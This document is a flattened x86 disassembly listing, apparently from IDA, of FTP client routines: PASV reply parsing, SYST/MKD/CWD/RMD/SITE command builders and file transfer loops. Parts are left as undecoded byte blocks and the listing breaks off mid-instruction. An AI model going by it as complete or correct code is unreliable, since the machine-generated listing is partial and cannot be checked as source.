sub_401BEF add esp, 4 mov dword ptr [esi], 0 mov dword ptr [ebx+20h], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E79F: ; CODE XREF: sub_42E5B0+1B8j ; sub_42E5B0+1C8j pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E7AF: ; CODE XREF: sub_42E5B0+8Bj push edi ; default add ebx, 44h push offset aInvalidOpenTyp ; "Invalid open type %d\n" push ebx call ebp add esp, 0Ch loc_42E7BE: ; CODE XREF: sub_42E5B0+7Fj ; sub_42E5B0+12Cj ... pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 100h retn sub_42E5B0 endp ; --------------------------------------------------------------------------- align 4 off_42E7CC dd offset loc_42E648 ; DATA XREF: sub_42E5B0+91r dd offset loc_42E663 ; jump table for switch statement dd offset loc_42E67D dd offset loc_42E697 db 4 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E870 proc near ; CODE XREF: sub_42E5B0+165p var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = word ptr -120h var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_114 = byte ptr -114h var_110 = byte ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 134h push ebx mov ebx, [esp+138h+arg_0] push ebp push esi mov eax, [ebx+18h] xor ebp, ebp mov esi, 1 cmp eax, ebp push edi mov [esp+144h+var_120], bp mov [esp+144h+var_11E], bp mov [esp+144h+var_11C], esi jnz loc_42EB94 mov eax, [esp+144h+arg_C] cmp eax, esi jz short loc_42E8D2 cmp eax, 2 jz short loc_42E8D2 push eax add ebx, 44h push offset aInvalidDirecti ; "Invalid direction %d\n" push ebx nop call near ptr 77C3F931h add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42E8D2: ; CODE XREF: sub_42E870+3Aj ; sub_42E870+3Fj mov eax, [esp+144h+arg_8] cmp eax, 41h jz short loc_42E904 cmp eax, 49h jz short loc_42E904 push eax add ebx, 44h push offset aInvalidModeC ; "Invalid mode %c\n" push ebx nop call near ptr 77C3F931h add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42E904: ; CODE XREF: sub_42E870+6Cj ; sub_42E870+71j mov eax, [ebx+24h] mov [esp+144h+var_124], 10h cmp eax, esi jnz loc_42E9E9 xor eax, eax push ebx mov [esp+148h+var_134], eax push 32h mov [esp+14Ch+var_130], eax push offset aPasv ; "PASV" mov [esp+150h+var_12C], eax mov word ptr [esp+150h+var_134], 2 mov [esp+150h+var_128], eax call sub_42E490 add esp, 0Ch test eax, eax jz loc_42EB94 lea ecx, [ebx+44h] push 28h push ecx nop call near ptr 77C47660h add esp, 8 cmp eax, ebp jz loc_42EB94 lea edx, [esp+144h+var_114] lea ecx, [esp+144h+var_118] push edx push ecx lea edx, [esp+14Ch+var_104] lea ecx, [esp+14Ch+var_108] push edx push ecx lea edx, [esp+154h+var_10C] lea ecx, [esp+154h+var_110] push edx push ecx inc eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push eax call near ptr 77C41B72h nop mov dl, [esp+164h+var_110] mov al, [esp+164h+var_10C] mov cl, [esp+164h+var_108] mov byte ptr [esp+164h+var_130], dl mov dl, [esp+164h+var_104] mov byte ptr [esp+164h+var_130+1], al mov al, [esp+164h+var_118] mov byte ptr [esp+164h+var_130+2], cl mov cl, [esp+164h+var_114] add esp, 20h mov byte ptr [esp+144h+var_130+3], dl mov byte ptr [esp+144h+var_134+2], al mov byte ptr [esp+144h+var_134+3], cl push 6 push esi push 2 call sub_438232 ; --------------------------------------------------------------------------- db 8Bh dd 0FFFF83F8h, 1C684D75h, 90004474h, 808419E8h, 4C48377h dd 5E5FC70Bh, 0C4815B5Dh, 134h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42E9E9: ; CODE XREF: sub_42E870+A1j mov ecx, [ebx+8] lea edx, [esp+144h+var_124] lea eax, [esp+144h+var_134] push edx push eax push ecx call sub_438220 ; --------------------------------------------------------------------------- dd 0BD7DC085h, 44753C68h, 0E7E89000h, 83778083h, 0C03304C4h dd 5B5D5E5Fh, 134C481h, 8DC30000h, 6A282454h, 46A5204h dd 0FFFF68h, 4BE85700h, 83000098h, 0A75FFF8h, 44740C68h dd 147E900h, 448D0000h, 46A2424h, 806850h, 0FF680000h dd 570000FFh, 9825E8h, 0FFF88300h, 0C680A75h, 0E9004474h dd 121h, 75247339h, 244C8D20h, 51106A10h, 97C2E857h, 0F8830000h dd 0EC850FFFh, 68000000h, 44720Ch, 0FCE9h, 24548D00h, 52106A10h dd 6C896657h, 8BE81E24h, 83000097h, 775FFF8h, 44753468h dd 5610EB00h, 9766E857h, 0C0850000h, 2C68217Dh, 90004475h dd 808335E8h, 4C48377h, 9736E857h, 5E5F0000h, 5BC0335Dh dd 134C481h, 8DC30000h, 8D202444h, 5010244Ch, 3DE85751h dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh, 0C3000001h dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h dd 20244C8Bh, 0FFE281h, 0FF250000h, 52000000h, 0FFE181h dd 51500000h, 5C24548Dh, 44751068h, 0E8905200h, 77810DEDh dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh, 1375C085h dd 969EE857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h dd 144h, 0D54DE856h, 8B90777Fh, 8C483F0h, 2275F53Bh, 44740468h dd 8268E800h, 83907780h, 0E85704C4h, 9668h ; --------------------------------------------------------------------------- loc_42EB94: ; CODE XREF: sub_42E870+2Bj ; sub_42E870+D2j ... pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 134h retn sub_42E870 endp ; --------------------------------------------------------------------------- dw 0BC83h dd 15024h, 41754100h, 200068h, 50E89000h, 83777FD8h, 0C53B04C4h dd 75144689h, 7404682Ch, 27E80044h, 90778082h, 5704C483h dd 9627E8h, 0E8905600h, 777FD63Fh, 8304C483h, 5E5FFFC8h dd 0C4815B5Dh, 134h, 248C8BC3h, 154h, 89087E89h, 538B184Eh dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh, 0C3000001h, 90909090h dd 40h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42ED50 proc near ; CODE XREF: sub_42E5B0+1BEp var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 124h push ebx mov ebx, [esp+128h+arg_0] push ebp push esi mov esi, [esp+130h+arg_4] mov eax, [ebx+8] xor ebp, ebp push edi mov ecx, [esi+8] mov [esp+134h+var_FC], eax cmp ecx, eax mov [esp+134h+var_100], ecx mov [esp+134h+var_104], 2 mov [esp+134h+var_118], ebp mov [esp+134h+var_11C], 1Eh jge short loc_42ED92 mov ecx, eax loc_42ED92: ; CODE XREF: sub_42ED50+3Ej lea eax, [esp+134h+var_11C] lea edx, [esp+134h+var_104] push eax push ebp push ebp inc ecx push edx push ecx call sub_438208 sub_42ED50 endp ; --------------------------------------------------------------------------- db 83h, 0F8h, 0FFh dd 683E75h, 90000001h, 7F0507E8h, 50008B77h, 843CE890h dd 0C4837780h, 44C68304h, 0E8905650h, 77818CC4h, 83084B8Bh dd 0E8510CC4h, 9424h, 86B895Fh, 0C0335D5Eh, 24C4815Bh dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 44759CBEh, 0A4A5F300h dd 5208538Bh, 93F7E8h, 6B895F00h, 335D5E08h, 0C4815BC0h dd 124h, 84B8BC3h, 3024448Dh, 33E85150h, 85000094h, 8B7A74C0h dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93C0E800h dd 0F88B0000h, 472E890h, 108B777Fh, 5008438Bh, 14245489h dd 93A3E8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh dd 0C3000001h, 10244C8Bh, 10068h, 7BE85100h, 90778083h dd 8304C483h, 565044C6h, 818C03E8h, 0C4839077h, 86B890Ch dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A7E85052h dd 85000093h, 8B2474C0h, 0E851084Bh, 9340h, 89326A56h dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42EF60 proc near ; CODE XREF: sub_40226Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 1 jz short loc_42EF71 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42EF71: ; CODE XREF: sub_42EF60+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42EF8D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42DF40 add esp, 0Ch jmp short loc_42EFB4 ; --------------------------------------------------------------------------- loc_42EF8D: ; CODE XREF: sub_42EF60+17j call sub_42E170 add esp, 4 cmp eax, 1 jz short loc_42EF9F pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42EF9F: ; CODE XREF: sub_42EF60+38j mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_4381F0 ; --------------------------------------------------------------------------- loc_42EFB4: ; CODE XREF: sub_42EF60+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42EFC0 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42EFC0: ; CODE XREF: sub_42EF60+59j mov ecx, [esi+38h] add ecx, edi mov [esi+38h], ecx mov edx, ecx mov ecx, [esi+30h] test ecx, ecx jz short loc_42EFFF mov eax, [esi+3Ch] test eax, eax jz short loc_42EFFF push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, eax pop ebx jle short loc_42EFFF mov eax, [esi+34h] push eax push edx push esi call ecx add esp, 0Ch test eax, eax jnz short loc_42EFF8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42EFF8: ; CODE XREF: sub_42EF60+93j mov dword ptr [esi+40h], 0 loc_42EFFF: ; CODE XREF: sub_42EF60+6Fj ; sub_42EF60+76j ... mov eax, edi pop edi pop esi retn sub_42EF60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F040 proc near ; CODE XREF: sub_402216j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 2 jz short loc_42F051 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42F051: ; CODE XREF: sub_42F040+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42F06D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42F110 add esp, 0Ch jmp short loc_42F08A ; --------------------------------------------------------------------------- loc_42F06D: ; CODE XREF: sub_42F040+17j call sub_42E170 mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] mov ecx, [esi+8] add esp, 4 push 0 push edx push eax push ecx call sub_4381F6 ; --------------------------------------------------------------------------- loc_42F08A: ; CODE XREF: sub_42F040+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42F096 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42F096: ; CODE XREF: sub_42F040+4Fj mov edx, [esi+38h] mov eax, [esi+30h] add edx, edi test eax, eax mov [esi+38h], edx jz short loc_42F0CC mov ecx, [esi+3Ch] test ecx, ecx jz short loc_42F0CC push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, ecx pop ebx jle short loc_42F0CC mov ecx, [esi+34h] push ecx push edx push esi call eax add esp, 0Ch mov dword ptr [esi+40h], 0 loc_42F0CC: ; CODE XREF: sub_42F040+63j ; sub_42F040+6Aj ... mov eax, edi pop edi pop esi retn sub_42F040 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F110 proc near ; CODE XREF: sub_42F040+23p ; sub_42F2C0+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_8] push esi xor esi, esi xor al, al mov ecx, [ebp+18h] push edi cmp ecx, 2 jz short loc_42F12C pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx retn ; --------------------------------------------------------------------------- loc_42F12C: ; CODE XREF: sub_42F110+12j mov ecx, [esp+10h+arg_4] mov edi, [ebp+14h] xor ebx, ebx test ecx, ecx jle loc_42F254 loc_42F13D: ; CODE XREF: sub_42F110+AFj mov ecx, [esp+10h+arg_0] cmp byte ptr [ebx+ecx], 0Ah jnz short loc_42F17E cmp al, 0Dh jz short loc_42F17E cmp esi, 2000h jnz short loc_42F179 push ebp call sub_42E170 add esp, 4 test eax, eax jz short loc_42F1DA mov edx, [ebp+8] push 0 push esi push edi push edx call sub_4381F6 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42F1E1 xor esi, esi loc_42F179: ; CODE XREF: sub_42F110+41j mov byte ptr [edi+esi], 0Dh inc esi loc_42F17E: ; CODE XREF: sub_42F110+35j ; sub_42F110+39j cmp esi, 2000h jnz short loc_42F1AC push ebp call sub_42E170 add esp, 4 test eax, eax jz short loc_42F1DA mov eax, [ebp+8] push 0 push esi push edi push eax call sub_4381F6 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42F201 xor esi, esi loc_42F1AC: ; CODE XREF: sub_42F110+74j mov ecx, [esp+10h+arg_0] inc esi mov al, [ebx+ecx] mov ecx, [esp+10h+arg_4] mov [edi+esi-1], al inc ebx cmp ebx, ecx jl loc_42F13D test esi, esi jz loc_42F254 push ebp call sub_42E170 add esp, 4 test eax, eax jnz short loc_42F221 loc_42F1DA: ; CODE XREF: sub_42F110+4Ej ; sub_42F110+81j pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42F1E1: ; CODE XREF: sub_42F110+65j nop call near ptr 77C1F2BCh mov edx, [eax] push edx push esi push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n" nop call near ptr 77C4186Ah add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42F201: ; CODE XREF: sub_42F110+98j nop call near ptr 77C1F2BCh mov eax, [eax] push eax push esi push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n" call near ptr 77C4186Ah nop add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42F221: ; CODE XREF: sub_42F110+C8j mov ecx, [ebp+8] push 0 push esi push edi push ecx call sub_4381F6 ; --------------------------------------------------------------------------- dw 0F88Bh dd 2074FE3Bh, 82E890h, 108B777Fh, 0C4685752h, 90004475h dd 812621E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh ; --------------------------------------------------------------------------- loc_42F254: ; CODE XREF: sub_42F110+27j ; sub_42F110+B7j mov eax, [esp+10h+arg_4] pop edi pop esi pop ebp pop ebx retn sub_42F110 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F2C0 proc near ; CODE XREF: sub_401BEFj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+18h] sub eax, 0 jz short loc_42F33B dec eax jz short loc_42F2F0 dec eax jz short loc_42F2DC loc_42F2D4: ; CODE XREF: sub_42F2C0+64j pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_42F2DC: ; CODE XREF: sub_42F2C0+12j mov eax, [esi+14h] test eax, eax jz short loc_42F2F0 push esi push 0 push 0 call sub_42F110 add esp, 0Ch loc_42F2F0: ; CODE XREF: sub_42F2C0+Fj ; sub_42F2C0+21j mov eax, [esi+14h] push ebx mov ebx, dword_511AD0 test eax, eax jz short loc_42F304 push eax call ebx add esp, 4 loc_42F304: ; CODE XREF: sub_42F2C0+3Cj mov eax, [esi+8] push 2 push eax call sub_438292 ; --------------------------------------------------------------------------- mov ecx, [esi+8] push ecx call sub_4381FC ; --------------------------------------------------------------------------- mov edi, [esi+1Ch] push esi call ebx add esp, 4 test edi, edi pop ebx jz short loc_42F2D4 push edi push 32h mov dword ptr [edi+20h], 0 call sub_42DE00 add esp, 8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F33B: ; CODE XREF: sub_42F2C0+Cj mov eax, [esi+20h] test eax, eax jz short loc_42F352 push esi mov dword ptr [esi+1Ch], 0 call sub_401BEF add esp, 4 loc_42F352: ; CODE XREF: sub_42F2C0+80j mov edx, [esi+8] push edx call sub_4381FC sub_42F2C0 endp ; --------------------------------------------------------------------------- db 56h db 90h db 0E8h, 0B9h, 0CEh dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42F3A0: ; CODE XREF: ___:00401CF8j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42F3C9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F3C9: ; CODE XREF: ___:0042F3C0j push edx lea eax, [esp+4] push offset aSiteS ; "SITE %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F420: ; CODE XREF: ___:004016CCj push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset aSyst ; "SYST" call sub_42E490 add esp, 0Ch test eax, eax jnz short loc_42F441 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F441: ; CODE XREF: ___:0042F43Cj mov eax, [esp+10h] lea ecx, [edi+48h] lea edx, [eax-1] test edx, edx jz short loc_42F45C loc_42F44F: ; CODE XREF: ___:0042F45Aj mov al, [ecx] cmp al, 20h jz short loc_42F45C mov [esi], al inc esi inc ecx dec edx jnz short loc_42F44F loc_42F45C: ; CODE XREF: ___:0042F44Dj ; ___:0042F453j mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F490: ; CODE XREF: ___:00402270j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42F4B9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F4B9: ; CODE XREF: ___:0042F4B0j push edx lea eax, [esp+4] push offset aMkdS ; "MKD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F510: ; CODE XREF: ___:0040227Fj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42F539 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F539: ; CODE XREF: ___:0042F530j push edx lea eax, [esp+4] push offset aCwdS ; "CWD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F590: ; CODE XREF: ___:0040178Aj mov eax, [esp+4] push eax push 32h push offset aCdup ; "CDUP" call sub_42E490 add esp, 0Ch neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F5C0: ; CODE XREF: ___:00402220j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42F5E9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F5E9: ; CODE XREF: ___:0042F5E0j push edx lea eax, [esp+4] push offset aRmdS ; "RMD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F640: ; CODE XREF: ___:00401677j push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset off_447688 call sub_42E490 add esp, 0Ch test eax, eax jnz short loc_42F661 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F661: ; CODE XREF: ___:0042F65Cj add edi, 44h push 22h push edi nop call near ptr 77C47660h add esp, 8 test eax, eax jnz short loc_42F677 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F677: ; CODE XREF: ___:0042F672j mov ecx, [esp+10h] inc eax lea edx, [ecx-1] test edx, edx jz short loc_42F695 loc_42F683: ; CODE XREF: ___:0042F693j mov cl, [eax] test cl, cl jz short loc_42F695 cmp cl, 22h jz short loc_42F695 mov [esi], cl inc esi inc eax dec edx jnz short loc_42F683 loc_42F695: ; CODE XREF: ___:0042F681j ; ___:0042F687j ... mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F6C0: ; CODE XREF: ___:00401127j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 1 push eax push ecx push edx call sub_42F6F0 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F6F0 proc near ; CODE XREF: ___:0042F6D3p ; ___:0042F953p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push ecx mov eax, [esp+4+arg_0] push ebx push ebp xor ebp, ebp push esi push edi mov edi, [esp+14h+arg_10] cmp eax, ebp mov [esp+14h+var_4], 1 jz short loc_42F77A mov esi, [esp+14h+arg_C] mov cx, word_4476C8 cmp esi, 4 mov word ptr [esp+14h+arg_10], cx mov word ptr [esp+14h+arg_10+2], bp jnz short loc_42F72A mov byte ptr [esp+14h+arg_10], 72h loc_42F72A: ; CODE XREF: sub_42F6F0+33j cmp edi, 49h jnz short loc_42F734 mov byte ptr [esp+14h+arg_10+1], 62h loc_42F734: ; CODE XREF: sub_42F6F0+3Dj lea edx, [esp+14h+arg_10] push edx push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 cmp ebx, ebp jnz short loc_42F794 push 100h nop call near ptr 77C1F2BCh mov eax, [eax] push eax call near ptr 77C371FAh nop mov ecx, [esp+1Ch+arg_8] add esp, 4 add ecx, 44h push eax push ecx nop call near ptr 77C47A90h add esp, 0Ch xor eax, eax pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F77A: ; CODE XREF: sub_42F6F0+19j mov esi, [esp+14h+arg_C] cmp esi, 4 jnz short loc_42F78B mov ebx, dword_511A90 jmp short loc_42F794 ; --------------------------------------------------------------------------- loc_42F78B: ; CODE XREF: sub_42F6F0+91j mov edx, dword_511A90 lea ebx, [edx+20h] loc_42F794: ; CODE XREF: sub_42F6F0+57j ; sub_42F6F0+99j mov ecx, [esp+14h+arg_8] mov edx, [esp+14h+arg_4] lea eax, [esp+14h+arg_C] push eax push ecx push edi push esi push edx call sub_401F73 add esp, 14h test eax, eax jnz short loc_42F7B7 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F7B7: ; CODE XREF: sub_42F6F0+BFj push 2000h nop call near ptr 77C2C407h add esp, 4 cmp esi, 4 mov edi, eax jnz short loc_42F82D mov ebp, dword_511AB0 push ebx push 2000h push 1 push edi call ebp mov esi, eax add esp, 10h test esi, esi jle loc_42F883 loc_42F7EA: ; CODE XREF: sub_42F6F0+11Fj mov eax, [esp+14h+arg_C] push eax push esi push edi call sub_402216 add esp, 0Ch cmp eax, esi jl short loc_42F813 push ebx push 2000h push 1 push edi call ebp mov esi, eax add esp, 10h test esi, esi jg short loc_42F7EA jmp short loc_42F883 ; --------------------------------------------------------------------------- loc_42F813: ; CODE XREF: sub_42F6F0+10Bj push eax push esi push offset aShortWritePass ; "short write: passed %d, wrote %d\n" nop call near ptr 77C4186Ah add esp, 0Ch mov [esp+14h+var_4], 0 jmp short loc_42F883 ; --------------------------------------------------------------------------- loc_42F82D: ; CODE XREF: sub_42F6F0+DAj mov ecx, [esp+14h+arg_C] push ecx push 2000h push edi call sub_40226B add esp, 0Ch cmp eax, ebp jle short loc_42F883 mov esi, dword_511AA0 loc_42F84A: ; CODE XREF: sub_42F6F0+17Dj push ebx push eax push 1 push edi call esi add esp, 10h test eax, eax jbe short loc_42F871 mov edx, [esp+14h+arg_C] push edx push 2000h push edi call sub_40226B add esp, 0Ch cmp eax, ebp jg short loc_42F84A jmp short loc_42F883 ; --------------------------------------------------------------------------- loc_42F871: ; CODE XREF: sub_42F6F0+166j push offset aLocalfileWrite ; "localfile write" call near ptr 77C36DF2h nop add esp, 4 mov [esp+14h+var_4], ebp loc_42F883: ; CODE XREF: sub_42F6F0+F4j ; sub_42F6F0+121j ... push edi call near ptr 77C2C21Bh nop push ebx nop call near ptr 77C3EEF6h mov eax, [esp+1Ch+arg_0] add esp, 8 test eax, eax jz short loc_42F8A6 push ebx call near ptr 77C40AB1h nop add esp, 4 loc_42F8A6: ; CODE XREF: sub_42F6F0+1AAj mov eax, [esp+14h+arg_C] push eax call sub_401BEF mov eax, [esp+18h+var_4] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn sub_42F6F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F940: ; CODE XREF: ___:004016A9j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 2 push eax push ecx push edx call sub_42F6F0 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F970: ; CODE XREF: ___:00401D43j sub esp, 108h or ecx, 0FFFFFFFFh xor eax, eax push ebx mov ebx, [esp+110h] push ebp push esi push edi mov edi, ebx repne scasb not ecx add ecx, 6 mov ebp, 1 cmp ecx, 100h jbe short loc_42F9A7 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42F9A7: ; CODE XREF: ___:0042F99Aj movsx eax, byte ptr [esp+124h] mov edi, dword_511A6C push eax lea ecx, [esp+1Ch] push offset dword_4474D0 push ecx call edi mov esi, [esp+134h] lea edx, [esp+24h] push esi push 32h push edx call sub_42E490 add esp, 18h test eax, eax jnz short loc_42F9E8 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42F9E8: ; CODE XREF: ___:0042F9DBj push ebx lea eax, [esp+1Ch] push offset dword_4476D4 push eax call edi push esi lea ecx, [esp+28h] push 32h push ecx call sub_42E490 add esp, 18h test eax, eax jz short loc_42FA44 lea edx, [esp+10h] lea eax, [esp+14h] push edx push eax add esi, 44h push offset dword_4476CC push esi call near ptr 77C41B72h nop add esp, 10h cmp eax, 2 jnz short loc_42FA44 mov ecx, [esp+120h] mov edx, [esp+10h] pop edi mov eax, ebp pop esi pop ebp mov [ecx], edx pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42FA44: ; CODE XREF: ___:0042FA07j ; ___:0042FA28j xor ebp, ebp pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FAA0: ; CODE XREF: ___:004013C0j mov 